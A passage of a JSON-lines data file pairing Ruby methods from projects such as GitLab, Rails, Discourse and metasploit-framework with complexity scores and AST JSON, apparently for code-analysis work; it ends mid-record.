{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250808110745_create_vulnerability_archival_backup_tables.rb","start_line":14,"raw_source":"def up\n create_partitioned_table(:backup_vulnerabilities)\n create_partitioned_table(:backup_findings, :vulnerability_id)\n\n create_partitioned_table(:backup_vulnerability_issue_links, :vulnerability_id)\n create_partitioned_table(:backup_vulnerability_external_issue_links, :vulnerability_id)\n create_partitioned_table(:backup_vulnerability_merge_request_links, :vulnerability_id)\n create_partitioned_table(:backup_vulnerability_state_transitions, :vulnerability_id)\n create_partitioned_table(:backup_vulnerability_user_mentions, :vulnerability_id)\n\n create_partitioned_table(:backup_finding_evidences, :finding_id)\n create_partitioned_table(:backup_finding_flags, :finding_id)\n create_partitioned_table(:backup_finding_identifiers, :finding_id)\n create_partitioned_table(:backup_finding_links, :finding_id)\n create_partitioned_table(:backup_finding_remediations, :finding_id)\n create_partitioned_table(:backup_finding_signatures, :finding_id)\n end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_partitioned_table\",{\"type\":\"sym\",\"children\":[\"backup_vulnerabilities\"]}]},{\"type\":\"send\",\"children\":[null,\"create_partitioned_table\",{\"type\":\"sym\",\"children\":[\"backup_findings\"]},{\"type\":\"sym\",\"children\":[\"vulnerability_id\"]}]},{\"type\":\"send\",\"children\":[null,\"create_partitioned_table\",{\"type\":\"sym\",\"children\":[\"backup_vulnerability_issue_links\"]},{\"type\":\"sym\",\"children\":[\"vulnerability_id\"]}]},{\"type\":\"send\",\"children\":[null,\"create_partitioned_table\",{\"type\":\"sym\",\"children\":[\"backup_vulnerability_external_issue_links\"]},{\"type\":\"sym\",\"children\":[\"vulnerability_id\"]}]},{\"type\":\"send\",\"children\":[null,\"create_partitioned_table\",{\"type\":\"sym\",\"children\":[\"backup_vulnerability_merge_request_links\"]},{\"type\":\"sym\",\"children\":[\"vulnerability_id\"]}]},{\"type\":\"send\",\"children\":[null,\"create_partitioned_table\",{\"type\":\"sym\",\"children\":[\"backup_vulnerability_state_transitions\"]},{\"type\":\"sym\",\"children\":[\"vulnerability_id\"]}]},{\"type\":\"send\",\"children\":[null,\"create_partitioned_table\",{\"type\":\"sym\",\"children\":[\"backup_vulnerability_user_mentions\"]},{\"type\":\"sym\",\"children\":[\"vulnerability_id\"]}]},{\"type\":\"send\",\"children\":[null,\"create_partitioned_table\",{\"type\":\"sym\",\"children\":[\"backup_finding_evidences\"]},{\"type\":\"sym\",\"children\":[\"finding_id\"]}]},{\"type\":\"send\",\"children\":[null,\"create_partitioned_table\",{\"type\":\"sym\",\"children\":[\"backup_finding_flags\"]},{\"type\":\"sym\",\"children\":[\"finding_id\"]}]},{\"type\":\"send\",\"children\":[null,\"create_partitioned_table\",{\"type\":\"sym\",\"children\":[\"backup_finding_identifiers\"]},{\"type\":\"sym\",\"children\":[\"finding_id\"]}]},{\"type\":\"send\",\"children\":[null,\"create_partitioned_table\",{\"type\":\"sym\",\"children\":[\"backup_finding_links\"]},{\"type\":\"sym\",\"children\":[\"finding_id\"]}]},{\"type\":\"send\",\"children\":[null,\"create_partitioned_table\",{\"type\":\"sym\",\"children\":[\"backup_finding_remediations\"]},{\"type\":\"sym\",\"children\":[\"finding_id\"]}]},{\"type\":\"send\",\"children\":[null,\"create_partitioned_table\",{\"type\":\"sym\",\"children\":[\"backup_finding_signatures\"]},{\"type\":\"sym\",\"children\":[\"finding_id\"]}]}]}]}","id":"7413ef36-f112-4659-9ff0-57991654e12d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/current/organization.rb","start_line":50,"raw_source":"def from_organization_params\n path = params[:organization_path]\n return if path.blank?\n\n ::Organizations::Organization.find_by_path(path)\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"from_organization_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"organization_path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Organizations\"]},\"Organization\"]},\"find_by_path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"3349b252-8a58-47c1-b585-b80e78e1f5bf"} {"repo_name":"fluentd","file_path":"./repos/fluentd/test/config/test_dsl.rb","start_line":152,"raw_source":"def setup\n @root = Fluent::Config::DSL::Parser.parse(DSL_CONFIG_EXAMPLE, 'dsl_config.rb')\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@root\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Config\"]},\"DSL\"]},\"Parser\"]},\"parse\",{\"type\":\"const\",\"children\":[null,\"DSL_CONFIG_EXAMPLE\"]},{\"type\":\"str\",\"children\":[\"dsl_config.rb\"]}]}]}]}","id":"b31424ba-d9c0-4435-b669-6e02c2acc649"} {"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20140306223522_move_topic_revisions_to_post_revisions.rb","start_line":4,"raw_source":"def up\n execute <<SQL\n\n INSERT INTO post_revisions(user_id, post_id, modifications, number, created_at, updated_at)\n SELECT tr.user_id, p.id, tr.modifications, tr.number, tr.created_at, tr.updated_at\n FROM topic_revisions tr\n JOIN topics t ON t.id = tr.topic_id\n JOIN posts p ON p.topic_id = t.id AND p.post_number = 1\n\nSQL\n\n execute <<SQL\n\n UPDATE post_revisions r SET number = 2 + (\n SELECT COUNT(*) FROM post_revisions r2\n WHERE r2.post_id = r.post_id AND r2.created_at < r.created_at\n )\n\nSQL\n\n execute <<SQL\n\n UPDATE posts p SET version = 1 + (\n SELECT COUNT(*) FROM post_revisions r\n WHERE r.post_id = p.id\n )\n\nSQL\n\n execute <<SQL\n\n DROP TABLE topic_revisions\n\nSQL\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" INSERT INTO post_revisions(user_id, post_id, modifications, number, created_at, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\" SELECT tr.user_id, p.id, tr.modifications, tr.number, tr.created_at, tr.updated_at\\n\"]},{\"type\":\"str\",\"children\":[\" FROM topic_revisions tr\\n\"]},{\"type\":\"str\",\"children\":[\" JOIN topics t ON t.id = tr.topic_id\\n\"]},{\"type\":\"str\",\"children\":[\" JOIN posts p ON p.topic_id = t.id AND p.post_number = 1\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" UPDATE post_revisions r SET number = 2 + (\\n\"]},{\"type\":\"str\",\"children\":[\" SELECT COUNT(*) FROM post_revisions r2\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE r2.post_id = r.post_id AND r2.created_at < r.created_at\\n\"]},{\"type\":\"str\",\"children\":[\" )\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" UPDATE posts p SET version = 1 + (\\n\"]},{\"type\":\"str\",\"children\":[\" SELECT COUNT(*) FROM post_revisions r\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE r.post_id = p.id\\n\"]},{\"type\":\"str\",\"children\":[\" )\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" DROP TABLE topic_revisions\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}","id":"affd3e57-f8cd-4cd7-927d-f34578faedc1"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/base_errors_component.rb","start_line":47,"raw_source":"def call\n render(Primer::Alpha::Banner.new(scheme: :danger, icon: :stop, spacious: true, **@system_arguments)) do\n joined_messages\n end\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Primer\"]},\"Alpha\"]},\"Banner\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scheme\"]},{\"type\":\"sym\",\"children\":[\"danger\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"sym\",\"children\":[\"stop\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"spacious\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@system_arguments\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"joined_messages\"]}]}]}","id":"cefec085-1456-446c-a18b-afd2a3b93791"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/bcf_xml/importer.rb","start_line":24,"raw_source":"def initialize(file, project, current_user:)\n @file = file\n @project = project\n @current_user = current_user\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]},{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"kwarg\",\"children\":[\"current_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@file\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]}]}","id":"78a08cc5-3bd9-40e0-9f96-d22e73b84c3a"} {"repo_name":"flog","file_path":"./repos/flog/test/test_flog.rb","start_line":44,"raw_source":"def test_flog\n setup_flog\n\n exp = { \"main#none\" => { :+ => 1.0, :magic_number => 0.6 } }\n assert_equal exp, @flog.calls\n\n assert_in_epsilon 1.6, @flog.total_score unless @flog.option[:methods]\n assert_equal 3, @flog.mass[\"-\"]\n end","complexity_score":14.53,"ast_json":"{\"type\":\"def\",\"children\":[\"test_flog\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setup_flog\"]},{\"type\":\"lvasgn\",\"children\":[\"exp\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"main#none\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"+\"]},{\"type\":\"float\",\"children\":[1.0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"magic_number\"]},{\"type\":\"float\",\"children\":[0.6]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"exp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@flog\"]},\"calls\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@flog\"]},\"option\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"methods\"]}]},null,{\"type\":\"send\",\"children\":[null,\"assert_in_epsilon\",{\"type\":\"float\",\"children\":[1.6]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@flog\"]},\"total_score\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@flog\"]},\"mass\"]},\"[]\",{\"type\":\"str\",\"children\":[\"-\"]}]}]}]}]}","id":"922a7a1b-7b07-4cec-8839-1db6e892ad12"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/app/controllers/discourse_post_event/invitees_controller.rb","start_line":113,"raw_source":"def invitee_params(event = nil)\n if event && guardian.can_act_on_discourse_post_event?(event)\n params.require(:invitee).permit(:status, :user_id)\n else\n params.require(:invitee).permit(:status)\n end\n end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"invitee_params\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"event\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"can_act_on_discourse_post_event?\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"invitee\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"invitee\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]}]}","id":"f078df8a-c6c5-4406-9a90-45109ed13f6a"} {"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/testing.rb","start_line":52,"raw_source":"def inline!(&block)\n __set_test_mode(:inline, &block)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"inline!\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"__set_test_mode\",{\"type\":\"sym\",\"children\":[\"inline\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"8c64c120-ce97-45ad-954a-79dbf6796812"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations_test.rb","start_line":1573,"raw_source":"def test_preload_keeps_built_belongs_to_records_after_query\n post = posts(:welcome)\n author = post.build_author\n\n assert_no_queries do\n ActiveRecord::Associations::Preloader.new(records: [post], associations: :author).call\n\n assert_same author, post.author\n end\n end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_preload_keeps_built_belongs_to_records_after_query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"welcome\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"author\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"build_author\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Associations\"]},\"Preloader\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"records\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"associations\"]},{\"type\":\"sym\",\"children\":[\"author\"]}]}]}]},\"call\"]},{\"type\":\"send\",\"children\":[null,\"assert_same\",{\"type\":\"lvar\",\"children\":[\"author\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"author\"]}]}]}]}]}]}","id":"8dbc5114-339b-4907-af7b-b7004e9a115c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/packages/helm/packages_finder.rb","start_line":8,"raw_source":"def initialize(project, channel, with_recent_limit: true)\n @project = project\n @channel = channel\n @with_recent_limit = with_recent_limit\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"channel\"]},{\"type\":\"kwoptarg\",\"children\":[\"with_recent_limit\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@channel\",{\"type\":\"lvar\",\"children\":[\"channel\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@with_recent_limit\",{\"type\":\"lvar\",\"children\":[\"with_recent_limit\"]}]}]}]}","id":"e56121d2-899e-4a83-9981-97560aaf0271"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/services/local_relay.rb","start_line":72,"raw_source":"def initialize(name, listener, opts = {})\n self.name = name\n self.listener = listener\n self.opts = opts\n self.on_local_connection_proc = opts['OnLocalConnection']\n self.on_conn_close_proc = opts['OnConnectionClose']\n self.on_other_data_proc = opts['OnOtherData']\n if (not $dispatcher['rex'])\n register_log_source('rex', $dispatcher['core'], get_log_level('core'))\n end\n end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"listener\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name=\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"listener=\",{\"type\":\"lvar\",\"children\":[\"listener\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"opts=\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"on_local_connection_proc=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OnLocalConnection\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"on_conn_close_proc=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OnConnectionClose\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"on_other_data_proc=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OnOtherData\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$dispatcher\"]},\"[]\",{\"type\":\"str\",\"children\":[\"rex\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"register_log_source\",{\"type\":\"str\",\"children\":[\"rex\"]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$dispatcher\"]},\"[]\",{\"type\":\"str\",\"children\":[\"core\"]}]},{\"type\":\"send\",\"children\":[null,\"get_log_level\",{\"type\":\"str\",\"children\":[\"core\"]}]}]},null]}]}]}","id":"026527e9-f780-493a-9dc4-50f9b043a3e1"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/followed_tags_controller.rb","start_line":37,"raw_source":"def records_continue?\n @results.size == limit_param(TAGS_LIMIT)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"records_continue?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@results\"]},\"size\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"limit_param\",{\"type\":\"const\",\"children\":[null,\"TAGS_LIMIT\"]}]}]}]}","id":"b7279ad5-27c2-48c3-9428-89b2707559cc"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/can_move_repository_storage.rb","start_line":38,"raw_source":"def git_transfer_in_progress?\n reference_counter(type: repository.repo_type).value > 0\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"git_transfer_in_progress?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reference_counter\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"repo_type\"]}]}]}]},\"value\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"c0651111-4639-4432-8917-844caf819e54"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/models/developer.rb","start_line":152,"raw_source":"def raise_if_projects_empty!\n raise if projects.empty?\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"raise_if_projects_empty!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"projects\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\"]},null]}]}","id":"f3c2a5f1-1bd6-4cb0-8fc3-470f4a91af8b"} {"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails_with_xss_plugin/config/boot.rb","start_line":78,"raw_source":"def gem_version\n if defined? RAILS_GEM_VERSION\n RAILS_GEM_VERSION\n elsif ENV.include?('RAILS_GEM_VERSION')\n ENV['RAILS_GEM_VERSION']\n else\n parse_gem_version(read_environment_rb)\n end\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"gem_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RAILS_GEM_VERSION\"]}]},{\"type\":\"const\",\"children\":[null,\"RAILS_GEM_VERSION\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"include?\",{\"type\":\"str\",\"children\":[\"RAILS_GEM_VERSION\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RAILS_GEM_VERSION\"]}]},{\"type\":\"send\",\"children\":[null,\"parse_gem_version\",{\"type\":\"send\",\"children\":[null,\"read_environment_rb\"]}]}]}]}]}","id":"dd58f6d9-ff03-47a3-96e2-34bbc1e003a1"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/trace/chunked_io.rb","start_line":235,"raw_source":"def trace_chunks\n ::Ci::BuildTraceChunk.where(build: build)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"trace_chunks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"BuildTraceChunk\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"build\"]},{\"type\":\"send\",\"children\":[null,\"build\"]}]}]}]}]}","id":"10dd586c-743d-40f6-b143-c632a8e7c6bd"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/assignment_mixin.rb","start_line":148,"raw_source":"def remove_all_assigned_tos(cat = nil)\n # Optional cat arg can be as much of the tail portion (after /miq_alert/assigned_to/) as desired\n # Example: If Tags = \"/miq_alert/assigned_to/host/tag/managed/environment/prod\" and\n # \"/miq_alert/assigned_to/host/id/4\"\n # => cat = \"host\" will remove all the host assignments - both host/id/n and host/tag/...\n # => cat = \"host/tag\" will remove only the host tag assignments.\n # => cat = nil will remove all assignments from object\n tag_with(\"\", :ns => namespace, :cat => cat)\n reload\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_all_assigned_tos\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"cat\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag_with\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ns\"]},{\"type\":\"send\",\"children\":[null,\"namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cat\"]},{\"type\":\"lvar\",\"children\":[\"cat\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"reload\"]}]}]}","id":"8e2e95ea-ed64-48ff-9250-372fbfb2fc6f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/keeps/mark_old_advanced_search_migrations_as_obsolete.rb","start_line":26,"raw_source":"def initialize(...)\n @migrations_to_be_marked_obsolete = {}\n @search_team_map = group_data['backend_engineers'].index_with(0)\n\n load_migrations_to_process\n\n super\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@migrations_to_be_marked_obsolete\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@search_team_map\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"backend_engineers\"]}]},\"index_with\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"load_migrations_to_process\"]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"f246ab43-96cd-4eba-8f32-7148a1e1c517"} {"repo_name":"fluentd","file_path":"./repos/fluentd/test/config/test_config_parser.rb","start_line":12,"raw_source":"def root(*elements)\n if elements.first.is_a?(Fluent::Config::Element)\n attrs = {}\n else\n attrs = elements.shift || {}\n end\n Fluent::Config::Element.new('ROOT', '', attrs, elements)\n end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"root\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"elements\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elements\"]},\"first\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Config\"]},\"Element\"]}]},{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elements\"]},\"shift\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Config\"]},\"Element\"]},\"new\",{\"type\":\"str\",\"children\":[\"ROOT\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"lvar\",\"children\":[\"attrs\"]},{\"type\":\"lvar\",\"children\":[\"elements\"]}]}]}]}","id":"f4062e15-6e53-4c24-9e85-51f2c5ca32e2"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/import_export/export_service.rb","start_line":96,"raw_source":"def remove_archive_tmp_dir\n FileUtils.rm_rf(shared.archive_path) if shared&.archive_path\n 